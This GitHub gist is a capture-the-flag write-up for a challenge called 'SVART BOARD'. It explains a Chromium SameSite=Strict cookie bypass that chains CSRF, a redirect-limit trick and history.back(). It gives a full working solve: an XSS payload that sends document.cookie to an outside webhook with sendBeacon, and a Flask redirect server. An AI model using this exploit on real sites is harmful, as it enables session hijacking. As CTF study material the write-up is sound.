Skip to content

Instantly share code, notes, and snippets.

@icesfont
Last active December 28, 2025 15:49
Show Gist options
  • Select an option

  • Save icesfont/a38cf323817a75d61e0612662c6d0476 to your computer and use it in GitHub Desktop.

Select an option

Save icesfont/a38cf323817a75d61e0612662c6d0476 to your computer and use it in GitHub Desktop.
SVART BOARD

Despite the session cookie being SameSite=Strict, we can still CSRF a request to set the memo to contain an XSS payload, and the corresponding session cookie will be set (as part of a response to a top-level navigation). We can also stop the cookie from being overridden by cancelling the redirect to / (via hitting the redirect limit). The remaining part of the challenge is to actually send this cookie with a navigation request.

When the headless bot navigates to a page with page.goto(), the initiator is null, which is treated as same-site with the request URL. Adjacently, when a request is made in Chromium, if the initiator site and target site agree according to this prior check, then SameSite=Strict cookies will be sent regardless of whether the chain of redirects to the target site included a cross-site redirect or not, by default. (See this. See discussions here.)

For our purposes, this means that we can send the bot to our page, perform CSRF, then navigate away and then history.back() (making sure to invalidate bfcache and disk cache); this will trigger another navigation request to our initial URL with the initiator being null (the initiator is stored with the history entry) to which we can simply respond with a redirect to the challenge page (and the resulting request will include SameSite=Strict cookies).

(A similar case used to exist for chrome-extension:// URIs, which allowed you to bypass web-accessible resource checks if the initiator was null, but this is no longer possible since you can't HTTP redirect to chrome-extension:// URIs anymore.)

<form id=f method="POST" target="x">
<input name=memo value="</textarea><script>navigator.sendBeacon('https://webhook',document.cookie)</script>">
</form>
<script>
const sleep = d => new Promise(r => setTimeout(r, d));
(async()=>{
await sleep(500);
f.action = "/redir";
f.submit();
await sleep(5000); // wait for redirect limit
location = URL.createObjectURL(new Blob([`
<script>setTimeout(()=>history.back(),500)<\/script>
`], { type: "text/html" }))
})();
</script>
from flask import *
app = Flask("sbhsfoisfjbdkjgjojnlk")
REMOTE = "http://web:3000"
@app.after_request
def add_headers(response):
response.headers["Cache-Control"] = "no-store, no-cache"
return response
i = 0
@app.get("/")
def index():
global i
i += 1
if i == 1: return open("solve.html","r").read()
if i == 2: return redirect(REMOTE)
i = 0
return "lol"
@app.post("/redir")
def redir():
n = int(request.args.get("n", 0))
if n == 18:
return redirect(f"{REMOTE}/save", 307)
return redirect(f"/redir?n={n+1}", 307)
app.run("0.0.0.0", 5933)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment